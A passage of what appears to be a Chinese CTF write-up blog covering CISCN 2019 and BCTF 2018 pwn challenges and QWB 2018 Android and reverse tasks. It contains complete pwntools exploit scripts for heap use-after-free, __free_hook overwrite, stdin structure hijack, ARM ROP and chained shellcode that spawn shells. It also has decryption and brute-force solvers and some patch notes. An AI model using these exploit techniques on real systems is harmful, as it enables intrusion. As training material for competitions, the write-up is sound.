password=cal(cipher)
p.sendline(str(password))
p.readuntil('>>')
new(1,p64(0x31)*3+chr(0x31))
new(2,'')
new(3,'')
new(4,p64(0x31)*3)
new(5,'')
new(6,'')
new(7,'')
dele(2)
dele(3)
p.writeline('3')
p.readuntil('Index:')
p.writeline('3')
heap=u64((p.readuntil('\n')[:-1]).ljust(8,chr(0x0)))-0x30
print hex(heap)
edit(3,p64(heap+0xa0))


payload=p64(0x90)*3+chr(0x90)
new(8,'')
edit(4,p64(0x31)*2+p64(heap+0x20))

new(0,payload)

payload=p64(0x0)+p64(0x91)+p64(0x4040a8-0x18)+p32(0x4040a8-0x10)
new(9,payload)

dele(5)
# gdb.attach(p,'b *0x401513')
edit(9,p64(0x404040)+p64(0x403f90)+p64(0x404090))

edit(6,p64(0xff))
p.writeline('3')
p.readuntil('Index:')
p.writeline('7')
free_addr=u64((p.readuntil('\n')[:-1]).ljust(8,chr(0x0)))
free_hook=free_addr+libc.symbols['__free_hook']-libc.symbols['free']
system=(free_addr+libc.symbols['system']-libc.symbols['free'])
edit(8,p64(free_hook))

edit(6,p64(system))

edit(1,'/bin/sh\x00')

p.writeline('4')
p.readuntil('Index:')
p.writeline('1')

p.interactive()
p.close()

pwn7-kindom ❌

kindom 没做出来,主要原因是 没有去尝试,只是脑海里理论伪证了一遍…
漏洞是UAF,泄露一开始没想出来,但其实还是很简单的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void expel()
{
int i; // [rsp+Ch] [rbp-4h]

puts("Who has displeased you, master?");
puts("Tell me his index number:");
_isoc99_scanf("%d", &i);
if ( i >= 0 && i <= 9 )
{
if ( servant[i] )
{
printf("Ok, I'll kill %s for you, monsieur.\n", *(_QWORD *)servant[i]);
free(servant[i]); // double free
}
else
{
puts("I don't know him, monsieur.");
}
}
}

因为在分配时,都用的是calloc

所以泄露肯定不能分配后泄露,而是通过free间接来泄露,所以直接重用一个0x18的chunk,free之后就可以泄露堆地址了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( !servant[j] )
{
servant[j] = calloc(1uLL, 0x10uLL);
if ( !servant[j] )
{
puts("Calloc error.");
exit(1);
}
printf("This is your NO.%d servent.\n", j);
*((_DWORD *)servant[j] + 2) = 10;
puts("Input the name's size of this servent:");
_isoc99_scanf("%u", &size);
v2 = (void **)servant[j];
*v2 = calloc(1uLL, (unsigned int)size);

在attack函数中,出题人疯狂暗示,一个任意地址写0,另一个是sacnf函数,肯定是写stdin的_IO_2_1_stdin_中的__IO_buf_base劫持stdin结构体虚函数表的套路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void __noreturn attack()
{
char buf; // [rsp+0h] [rbp-20h]
size_t n; // [rsp+8h] [rbp-18h]
void *s; // [rsp+10h] [rbp-10h]
void *ptr; // [rsp+18h] [rbp-8h]

if ( flag == 1 )
{
puts("Do you want to use excalibur?");
read(0, &buf, 2uLL);
if ( buf == 'y' || buf == 'Y' )
{
puts("Where do you want to wipe out?");
_isoc99_scanf("%lu", &s);
puts("How much power do you want to use?(0-8)");
_isoc99_scanf("%u", &n);
if ( (unsigned int)n > 8 )
{
puts("The max power is 8.");
LODWORD(n) = 8;
}
puts("\n");
sleep(1u);
puts("EX-calibur!!!\n\n\n");
memset(s, 0, (unsigned int)n);
}
}
for ( HIDWORD(n) = 0; SHIDWORD(n) <= 9; ++HIDWORD(n) )
{
if ( servant[SHIDWORD(n)] )
*(_DWORD *)&monster -= *((_DWORD *)servant[SHIDWORD(n)] + 2);
}
if ( *(_DWORD *)&monster <= 0 )
{
puts("You have won, master.");
puts("Leave your name please:");
ptr = malloc(0x200uLL);
_isoc99_scanf("%512s", ptr);
puts("Master, the world will remember you.");
sleep(1u);
puts("......");
sleep(1u);
puts("Just kidding, no one will remember you.");
free(ptr);
}

于是,通过overlap泄露地址,之后劫持stdin之后,修改__free_hook 来getshell即可
注意在Getshell的位置:
直接利用stdin的_IO_write_base等指针写__free_hook还是第一次见,威力很大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#./usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys

r = lambda :io.recv()
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x)
rld = lambda: io.recvline(keepends = False)
rufd = lambda x:io.recvuntil(x,drop=False)
rud = lambda x:io.recvuntil(x,drop=True)
rl = lambda :io.recvline()
se = lambda x:io.send(x)
sel = lambda x:io.sendline(x)
sea = lambda x:io.sendafter(x)
sela = lambda x:io.sendlineafter(x)

def recruit(size,namesize=[],name=[]):
ru('Give me your choice:\n')
sel(str(1))
ru('How many servents do you want to rescruit?\n')
sel(str(size))
if size<0:
return
for i in range(size):
ru('Input the name\'s size of this servent:')
sel(str(namesize[i]))
ru("Input the name of this servent:")
se(name[i])

def expel(index):
sel(str(2))
ru("Tell me his index number:\n")
sel(str(index))

def buy(choice):
ru('Give me your choice:\n')
sel(str(3))
ru('2.Excalibur --90000yuan\n')
sel(str(choice))


def z(order=[]):
command = ''
for item in order:
command += str(item)+'\n'
log.info('gdb command:\n'+command)
gdb.attach(io,command)

def exploit(flag):
ru('How much money do you want?\n')
sel(str(1000))

recruit(-100000)
buy(2)
#leaking heap
recruit(4,[0x18,0x18,0x18,0x18],[p64(0)+p64(0x21),'\0','\0','\0'])
sleep(0.5)
expel(1)
expel(2)
recruit(1,[0x18],[p64(0)+p64(10000)])
sleep(0.5)
expel(3)
expel(1)
expel(2)

io.recvuntil("Ok, I'll kill ")
heap = u64(io.recv(6).ljust(8,'\x00'))-0xc0
log.info("heap:"+hex(heap))

# leaking libc
expel(1)
expel(3)
recruit(3,[0x18,0x28,0x18],[p64(heap+0x30)+p64(100000),'\0',p64(0)+p64(0xa1)])
sleep(0.5)
expel(1)
expel(3)
io.recvuntil("Ok, I'll kill ")
libc.address = u64(io.recv(6).ljust(8,'\x00'))-0x3c4b78
log.info("libc.address:"+hex(libc.address))
_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']
log.info('_IO_2_1_stdin_:'+hex(_IO_2_1_stdin_))
__free_hook = libc.sym['__free_hook']
log.info("_free_hook:"+hex(__free_hook))

expel(6)
expel(5)

# calculate monster's blood, Fxxk 666
temp = 2*(libc.address+0x3c4b78)&0xffffffff
if temp>0xffffffff:
temp = temp&0xffffffff

if 9990-temp <0:
y = 0xffffffff+9990-temp

if y%3!=0:
y = y+1

if y%3!=0:
y = y+1

x = y/3


recruit(1,[0x18],[p64(0x0)+p64(x)])
# write _IO_2_1_stdin_ _IO_buf_base

#z(['b *'+hex(proc_base+0x1205),
# 'b *'+hex(proc_base+0x1134)])

ru('Give me your choice:\n')
sel(str(4))
ru('Do you want to use excalibur?\n')
sel('y')
ru('Where do you want to wipe out?')
sel(str(_IO_2_1_stdin_+0x38))
ru('How much power do you want to use?(0-8)')
sel(str(1))
ru('Leave your name please:\n')
sel("/bin/sh\x00"
+p64(__free_hook)*3+p64(libc.address+0x3c67c8)+'\0'*0x3c+p64(libc.sym['system']))
io.interactive()

if __name__ == '__main__':
context.binary = './kindom'
context.terminal = ['tmux','sp','-h','-l','136']
# context.log_level = 'debug'
elf = ELF('./kindom')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
exploit(0)
else:
io = process('./kindom')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
proc_base = io.libs()['/ctf/work/CTFPro/2019/ciscn2019-area/day2/pwn7-kingdom/kindom']
log.info('proc_base:'+hex(proc_base))
libc_base= io.libs()['/lib/x86_64-linux-gnu/ld-2.23.so']
log.info('libc_base:'+hex(libc_base))
exploit(1)

pwn8-attach ❌

惊现ARM-32bit的题目,是一个ARM32下的简单ROP 注意两点:

  1. 熟悉ARM,MIPS,PPC等题目环境的迅速搭建
  2. 熟悉ARM汇编,注意ARM指令,学会在ARM下构造ROP Chain

题目本身比较简单,但是没做出来就比较尴尬了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#/usr/bin/env python

from pwn import *

context.binary = "./attach"

host = "127.0.0.1"
port = 10002

elf = ELF('./attach')
libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
# libc = ELF('./libc-2.23.so')
io = remote(host,port)
# pause()

io.recvuntil('your name:\n\n')
payload = "A"*0x24
payload += p32(0x103a4) # 0x000103a4: pop {r3, pc};
payload += p32(elf.plt['puts'])
payload += p32(0x10638) # 0x00010638: pop {r4, r5, r6, r7, r8, sb, sl, pc};
payload += 3*p32(0)
payload += p32(elf.got['puts'])
payload += 3*p32(0)
payload += p32(0x00010628) # 0x00010628: mov r0, r7; blx r3;
payload += 7*p32(0)
payload += p32(0x010590)

io.send(payload)

# leak
io.recvuntil('hello')
io.recvuntil('\n')
libc.address = u32(io.recvuntil('\n',drop=True).ljust(0x4,'\x00')) - libc.sym['puts']
system = libc.sym['system']
log.info('system:'+hex(system))
binsh = next(libc.search('/bin/sh'))
log.info('binsh:'+hex(binsh))

payload = "A"*0x24
payload += p32(0x103a4) # 0x000103a4: pop {r3, pc};
payload += p32(system)
payload += p32(0x10638) # 0x00010638: pop {r4, r5, r6, r7, r8, sb, sl, pc};
payload += 3*p32(0)
payload += p32(binsh)
payload += 3*p32(0)
payload += p32(0x00010628) # 0x00010628: mov r0, r7; blx r3;

io.send(payload)

io.interactive()

PATCH: 修改read读入的长度防止栈溢出

pwn9-moneygame ✅

checksec 发现有rwx的段,通过jmp "\xeb\x04" 在堆空间中构造shellcode并执行即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys


r = lambda :io.recv()
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x)
rld = lambda: io.recvline(keepends = False)
rufd = lambda x:io.recvuntil(x,drop=False)
rud = lambda x:io.recvuntil(x,drop=True)
rl = lambda :io.recvline()
se = lambda x:io.send(x)
sel = lambda x:io.sendline(x)
sea = lambda x:io.sendafter(x)
sela = lambda x:io.sendlineafter(x)

def charge(money):
ru("Your choice:\n")
sel(str(1))
ru('Money makes you stronger:\n')
sel(str(money))

def buy(name):
ru("Your choice:\n")
sel(str(2))
ru('input WeaponName:')
se(name)

def edit(wid,name):
ru("Your choice:\n")
sel(str(3))
ru('change Weapon id:')
sel(str(wid))
ru('new Name:')
se(name)

def show(wid):
ru("Your choice:\n")
sel(str(4))
ru('Which Weapon do you want to show?\n')
sel(str(wid))

def z(order=[]):
command = ''
for item in order:
command += str(item)+'\n'
log.info('gdb command:\n'+command)
gdb.attach(io,command)

def exploit(flag):
charge(-500)
edit(20,'/bin/sh\x00')
show(-1)
ru('Weapon name is:')
proc = u64(rud('\n').ljust(0x8,'\x00'))-0x203DB8
log.info('proc:'+hex(proc))

# shellcode = asm(shellcraft.linux.sh())
# print len(asm("movabs rax, 0x68732f6e69622f"))

payload = asm("add rax,0xf0").ljust(0x6,'\x90')+"\xeb\x04"
edit(0,payload)
payload = asm("mov rax, [rax]").ljust(0x6,'\x90')+"\xeb\x04"
edit(1,payload)
payload = asm("push rax").ljust(0x6,'\x90')+"\xeb\x04"
edit(2,payload)
payload = asm("push 0x3b").ljust(0x6,'\x90')+"\xeb\x04"
edit(3,payload)
payload = asm("pop rax").ljust(0x6,'\x90')+"\xeb\x04"
edit(4,payload)
payload = asm("push 0x0").ljust(0x6,'\x90')+"\xeb\x04"
edit(5,payload)
payload = asm("pop rsi").ljust(0x6,'\x90')+"\xeb\x04"
edit(6,payload)
payload = asm("push 0x0").ljust(0x6,'\x90')+"\xeb\x04"
edit(7,payload)
payload = asm("pop rdx").ljust(0x6,'\x90')+"\xeb\x04"
edit(8,payload)
payload = asm("mov rdi,rsp").ljust(0x6,'\x90')+"\xeb\x04"
edit(9,payload)
payload = asm("syscall").ljust(0x6,'\x90')+"\xeb\x04"
edit(10,payload)

# z(['b *'+hex(proc_base+0x12D0)])
edit(-1,p64(proc+0x204088))

ru("Your choice:\n")
sel(str(2))

io.interactive()


if __name__ == '__main__':
context.binary = './moneygame'
context.terminal = ['tmux','sp','-h','-l','115']
context.log_level = 'debug'
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
exploit(0)
else:
io = process('./moneygame')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# print io.libs()
proc_base = io.libs()['/ctf/work/CTFPro/2019/ciscn2019-area/PWN/moneygame']
log.info('proc_base:'+hex(proc_base))
libc_base= io.libs()['/lib/x86_64-linux-gnu/libc-2.23.so']
log.info('libc_base:'+hex(libc_base))
exploit(1)

patch: 修改函数0xF50,防止输入负数造成越界写

2018 BCTF

House of Atum ×

image-20251122113739027
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!python
#-*-coding: utf-8-*-

from pwn import *

r = lambda: p.recv()
rn = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x, drop = True)
rl = lambda: p.recvline()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

def alloc(cnt):
sla('Your choice:',str(1))
sa('Input the content:',cnt)

def edit(idx,cnt):
sla('Your choice:',str(2))
sla('Input the idx:',str(idx))
sa('Input the content:',cnt)

def dele(idx,y):
sla('Your choice:',str(3))
sla('Input the idx:',str(idx))
sla('Clear?(y/n):',y)

def show(idx):
sla('Your choice:',str(4))
sla('Input the idx:',str(idx))

def z(order = []):
command = ''
for item in order:
command += str(item) + '\n'
log.info('gdb command:\n' + command)
gdb.attach(p, command)

def hack(r):

alloc('\x00'*0x48) #idx=0
alloc('\x00'*0x48) #idx=1

#leaking heap
dele(0,'n')
dele(0,'n')
dele(0,'n')
dele(0,'n')
dele(0,'n')
show(0)
ru("Content:")
heap = u64(ru('\n').ljust(0x8,'\x00'))-0x260
log.info("heap:"+hex(heap))
dele(0,'n')
dele(0,'n')

dele(1,'y')
dele(0,'y')

alloc(p64(0)*7+p64(0x61)+p64(heap+0x68))
alloc('\x00')
dele(1,'y')

#leaking libc
alloc(p64(0))
dele(0,'y')

edit(1,p64(heap+0xa0))
alloc(p64(0))
edit(1,p64(0)*6+p64(0x1c1))

for i in range(7):
dele(0,'n')
dele(0,'y')
edit(1,'1'*0x38)
show(1)

ru("Content:")
# z(['b *'+hex(proc+0xD0E)])
ru('1'*0x38)
libc.address = u64(ru('\n').ljust(0x8, '\x00'))-0x3ebca0
log.info("libc.address:"+hex(libc.address))
__free_hook = libc.sym['__free_hook']
log.info("__free_hook:"+hex(__free_hook))
system = libc.sym["system"]
log.info("system:"+hex(system))

edit(1,p64(__free_hook).ljust(0x48,'\x00'))
alloc(p64(system))
edit(1,'/bin/sh\x00')
sla('Your choice:',str(3))
sla('Input the idx:',str(1))

p.interactive()

if __name__ == '__main__':
context.binary = './houseofAtum'
context.terminal = ['tmux', 'sp', '-h']
context.log_level = 'debug'
elf = ELF('./houseofAtum')
if len(sys.argv) > 1:
p = remote(sys.argv[1], sys.argv[2])
p = process('./houseofAtum', env = {'LD_PRELOAD': './libc-2.27.so'})
libc = ELF('./libc-2.27.so')
hack(1)
else:
p = process(['./houseofAtum'],env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("./libc-2.27.so")
hack(0)

Three

_IO_2_1_stdout_的payload

这个leak的Payload非常管用

1
p64(0xfbad3c80)+p64(0)*3+p8(0)

qwb2018-re

picture_lock

这是一个图片加密锁应用,主要功能是:

  1. 选择手机中的图片文件
  2. 使用Native代码(C/C++)对图片进行加密
  3. 将加密后的文件保存为.lock格式
  4. 显示已加密的文件列表

目标是将某个加密后的文件解密出来,flag 就在里面。

mainactivity分析

直接找到点击事件ENCRYPT按钮绑定的OnClick()方法:

image-20250826215213134

可以看出,代码首先检查了文件读写的权限,然后打开了图片选择的界面,选择图片后,会调用方法onActivityResult():

image-20250826215307964

可以看到这里有3个方法被调用了,分别是enc(),j(),i()。

image-20250826215346430

可以看出i()使用来显示文本框中的内容,对图片的处理没有影响

image-20250826215409020

j()用于获取apk签名的MD5值

image-20250826215441073

根据enc()方法的声明,可以知道,方法需要三个String类型的参数,这三个参数具体是什么,我们用动态调试的方法获取。


动态调试.so文件

1
2
3
adb push "%USERPROFILE%\Downloads\bootloader-bonito-b4s4-0.4-8048689.img" /sdcard/Download/
#查看文件列表
adb shell ls -la /sdcard/Download/

root: https://sspai.com/post/76276

1
2
3
4
5
6
7
8
9
10
11
12
LOAD:00000000 ; Options     : EF_ARM_SOFT_FLOAT
LOAD:00000000 ; EABI version: 5
LOAD:00000000 ;
LOAD:00000000
LOAD:00000000 ; Processor : ARM
LOAD:00000000 ; ARM architecture: ARMv7
LOAD:00000000 ; Target assembler: Generic assembler for ARM
LOAD:00000000 ; Byte sex : Little endian

LOAD:00000000 ; Segment type: Pure code
LOAD:00000000 AREA LOAD, CODE, ALIGN=12
LOAD:00000000 CODE32

IDA PRO连接调试应用
(1)在IDA Pro的安装路径dbgsrv目录下找到android_server,放入真机的/data/local/tmp路径下并赋权,以root身份运行

1
2
3
4
5
6
adb push android_server /data/local/tmp 
adb shell
su
cd /data/local/tmp
chmod 755 android_server64
./android_server64
image-20250827095440764

(2)转发窗口

1
adb forward tcp:23946 tcp:23946  
image-20250827100132266

打开ida32位

Deubugger-Attach-Remote ARM Linux/Android debugger

查看libnative.so是否已经运行,打开enc()函数。下断点。

image-20250904101123407

打开app-选择照片-手机黑屏-断到了


静态分析

静态看吧,主要就是这个enc()。native方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall Java_com_a_sample_picturelock_MainActivity_enc(int a1, int a2, int a3, int a4, int a5)
{
char *v8; // r4
int v9; // r6
const void *v10; // r11

v8 = (char *)(*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a3, 0);
v9 = (*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a4, 0);
if ( !dword_600C )
{
dword_600C = (int)malloc(0x20u);
v10 = (const void *)(*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a5, 0);
qmemcpy((void *)dword_600C, v10, 0x20u);
(*(void (__fastcall **)(int, int, const void *))(*(_DWORD *)a1 + 680))(a1, a5, v10);
}
sub_1A48(v8);
(*(void (__fastcall **)(int, int, char *))(*(_DWORD *)a1 + 680))(a1, a3, v8);
return (*(int (__fastcall **)(int, int, int))(*(_DWORD *)a1 + 680))(a1, a4, v9);
}

sub_1A48函数:一些加密算法

此函数是一个典型的文件加解密/转换工具的核心逻辑,主要功能为:

  • 初始化阶段:首次调用时生成内部状态(疑似密钥调度或预处理)。
  • 文件处理阶段:从输入文件 filename 读取数据 → 经复杂变换 → 写入输出文件 a2

基本流程:

  1. 将传入的签名的 md5 字符串分为两半,生成两组密钥。
1
2
3
4
5
6
7
v5 = dword_600C;
for ( i = 0; i != 4; ++i )
v4[i] = _byteswap_ulong(*(_DWORD *)(v5 + i * 4));

v29 = &dword_6008;
if ( (v24 & 1) == 0 )
v29 = &dword_6004;
  1. 每次读入 md5sig[k & 0x1F] 大小的内容
1
v24 = *(_BYTE *)(dword_600C + (k & 0x1F));
  • k & 0x1F 等价于 k % 32,即循环使用 dword_600C 的前 32 字节作为每轮读取长度表。

fread(v20, 1u, v24, v21) 按此长度读取数据。

  1. 根据读入的大小决定使用哪一组密钥
1
if ((v24 & 1) == 0) v29 = &dword_6004;
  • 根据当前块长度 v24 的奇偶性选择 IV 基址(dword_6004dword_6008)。
  1. 奇数使用第二组密钥,偶数使用第一组密钥
  • v24 为奇数时,(v24 & 1) != 0,默认使用 dword_6008
  • v24 为偶数时,强制切换为 dword_6004
  1. 如果读入的大小不够 16 的话,就将后面填充为不够的大小(比如大小为 12 时,填充 4 个 0x4)
  • if (v25 <= 0xF) 触发填充逻辑;
1
memset(v27, (unsigned __int8)v28, 16 - (v26 & 0xF));
  • 填充值为 v28 = 16 - (v26 & 0xF),即填充长度本身。
  1. 这时修改后的内容必然够 16 个字节,对前 16 个字节进行 AES 加密。对于后面的字节,将其与 md5sig[k & 0x1F] 依次进行异或。
  • 前 16 字节:经过复杂的多轮变换(sub_132C, sub_13B0 等),最终写入 v22 的前 16 字节。
  • 后续字节if (v26 >= 0x11) 分支中,对超出 16 字节的部分执行 v22[v31] = v20[v31] ^ (BYTE)(v32 + v31%32),即与 dword_600C 的循环值异或。

使用keytool工具获取签名的 md5

android中关于keytool 错误:java.lang.Exception:密钥库文件不存在: 解决步骤_keytool 错误: java.lang.exception: 密钥库文件不存在: debug.k-CSDN博客](https://blog.csdn.net/y201314an/article/details/80994798)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#keytool -printcert -jarfile D:\CTF\2018reverse\picturelock\picturelock.apk

签名者 #1:

证书 #1:
所有者: CN=a, OU=b, O=c, L=d, ST=e, C=ff
发布者: CN=a, OU=b, O=c, L=d, ST=e, C=ff
序列号: 5f4e6be1
生效时间: Fri Sep 09 14:32:36 CST 2016, 失效时间: Tue Sep 03 14:32:36 CST 2041
证书指纹:
SHA1: 48:E7:04:5E:E6:0D:9D:8A:25:7C:52:75:E3:65:06:09:A5:CC:A1:3E
SHA256: BA:12:C1:3F:D6:0E:0D:EF:17:AE:3A:EE:4E:6A:81:67:82:D0:36:7F:F0:2E:37:CC:AD:5D:6E:86:87:0C:8E:38
签名算法名称: SHA256withRSA
主体公共密钥算法: 2048 位 RSA 密钥
版本: 3

扩展:

#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 71 A3 2A FB D3 F4 A9 A9 2A 74 3F 29 8E 67 8A EA q.*.....*t?).g..
0010: 3B DD 30 E3 ;.0.
]
]

获取md5需要openssl,太大了下不下来啊。

反正MD5: F8:C4:90:56:E4:CC:F9:A1:1E:09:0E:AF:47:1F:41:8D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

import itertools
from Crypto.Cipher import AES

sig = b'f8c49056e4ccf9a11e090eaf471f418d'

def decode_sig(payload):
ans = bytearray() # 使用 bytearray 代替字符串
for i in range(len(payload)):
# 执行异或操作并直接追加字节
ans.append(payload[i] ^ sig[(16 + i) % 32])
return bytes(ans) # 转换为不可变 bytes 类型

def dec_aes():
with open('flag.jpg.lock', 'rb') as data_file:
data = data_file.read()

with open('flag.jpg', 'wb') as f: # 确保文件以二进制模式打开
idx = 0
i = 0
cipher1 = AES.new(sig[:0x10], AES.MODE_ECB)
cipher2 = AES.new(sig[0x10:], AES.MODE_ECB)

while idx < len(data):
read_len = sig[i % 32]
payload = data[idx:idx + read_len]
print(f'[+] Totally {idx} / {len(data)} bytes, sig index : {i}')

if read_len % 2 == 0:
f.write(cipher1.decrypt(payload[:0x10]))
else:
f.write(cipher2.decrypt(payload[:0x10]))

# 关键修改:decode_sig 现在返回 bytes,可直接写入二进制文件
f.write(decode_sig(payload[16:]))
f.flush()
idx += read_len
i += 1
print('[+] Decoding done ...')

if __name__ == "__main__":
dec_aes()

得到解密出来的flag.jpg

flag

补充知识点

smali

smali是andriod虚拟机的反汇编语言

openssl x509 -noout -modulus -in client.crt | openssl md5
openssl rsa -noout -modulus -in client.key | openssl md5

simple check

simple的mainactivity.kt分析

1
2
3
4
5
6
7
package com.a.simplecheck;

import android.os.Bundle;
import android.support.v7.app.c;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
  • 包名com.a.simplecheck,表明这是一个简单的检查类应用
  • 导入语句:使用了Android Support库(v7),说明这是一个较老的项目

这是一个密码验证程序,其工作流程为:

  1. 用户在一个文本输入框(EditText)中输入内容
  2. 点击一个按钮进行验证
  3. 程序调用a.a(String)方法对输入进行验证
  4. 根据验证结果显示不同的Toast消息

关键逆向分析点:

  1. 核心逻辑在类a的方法a()
  2. 验证算法a.a(String input)是验证的核心方法
  3. 成功条件:当输入满足某种算法时返回true

类a分析

这个 a 类包含了验证flag的完整算法。

1
2
3
4
5
public class a {
private static int[] a = {0, 146527998, 205327308, ... , 864054312};
private static int[] b = {13710, 46393, 49151, ... , 37108};
private static int[] c = {38129, 57355, 22538, ... , 64666};
private static int[] d = {0, -341994984, -370404060, ... , 276158562};
  • 定义了4个静态数组,包含预计算的常数
  • 数组 a 有35个元素,bcd 各有34个元素
1
2
3
4
public static boolean a(String str) {
if (str.length() != b.length) {
return false;
}
  • 第一重检查:输入字符串长度必须等于数组 b 的长度(34个字符)
1
2
3
4
5
6
7
int[] iArr = new int[a.length];
iArr[0] = 0;
int i = 1;
for (byte b2 : str.getBytes()) {
iArr[i] = b2;
i++;
}
  • 将输入字符串转换为ASCII码数组
  • iArr[0] 被设为0,然后依次填充输入字符串的每个字符的ASCII值
  • 最终 iArr 数组有35个元素(索引0到34)
1
2
3
4
5
6
7
for (int i2 = 0; i2 < c.length; i2++) {
if (a[i2] != (b[i2] * iArr[i2] * iArr[i2]) + (c[i2] * iArr[i2]) + d[i2]
|| a[i2 + 1] != (b[i2] * iArr[i2 + 1] * iArr[i2 + 1]) + (c[i2] * iArr[i2 + 1]) + d[i2]) {
return false;
}
}
return true;

遍历34次,检查二次方程约束

验证模型

对于i从0到33,必须满足以下两个方程其中之一:

方程1:
$$
a[i] = b[i] * (x_i)² + c[i] * x_i + d[i]
$$
方程2:
$$
a[i + 1] = b[i] * (x_{i+1})² + c[i] * x_{i+1} + d[i]
$$

exp

暴力破解就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
a = [0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524, 417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312]
b = [13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108]
c = [38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340, 37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406, 64666]
d = [0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562]

result = [0]

for i in range(34):
found = False
for char_code in range(32,127):
if a[i + 1] == b[i] * char_code * char_code + c[i] * char_code + d[i]:
result.append(char_code)
found = True
break

if not found:
print(f"在位置 {i} 找不到满足方程的字符")
break

# 将ASCII码转换为字符串
flag = ''.join(chr(code) for code in result)
print("Flag:", flag)

#Flag: flag{MAth_i&_GOOd_DON7_90V_7hInK?}

补充知识点

什么是 Toast?

Toast 是一个小的弹出消息框,它在屏幕底部短暂显示一段时间,然后自动消失。它用于向用户提供简单的反馈或提示信息。

hide

[原创]从2018强网杯hide题中学习手动脱壳与算法识别的思路-CTF对抗-看雪-安全社区|安全招聘|kanxue.com

先查壳,稍微折腾了一下,PEiD查不到壳,选择使用strings命令。windows下没有strings,下载git,git也不能用,最终选择MSYS2。

1
2
3
4
pacman -Syu
pacman -S mingw-w64-x86_64-binutils
cd /d/CTF/2018reverse/hide
strings hide | grep -i upx

查看结果

1
2
3
4
5
6
$ strings hide | grep -i upx
UPX!
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved. $
UPX!
UPX!

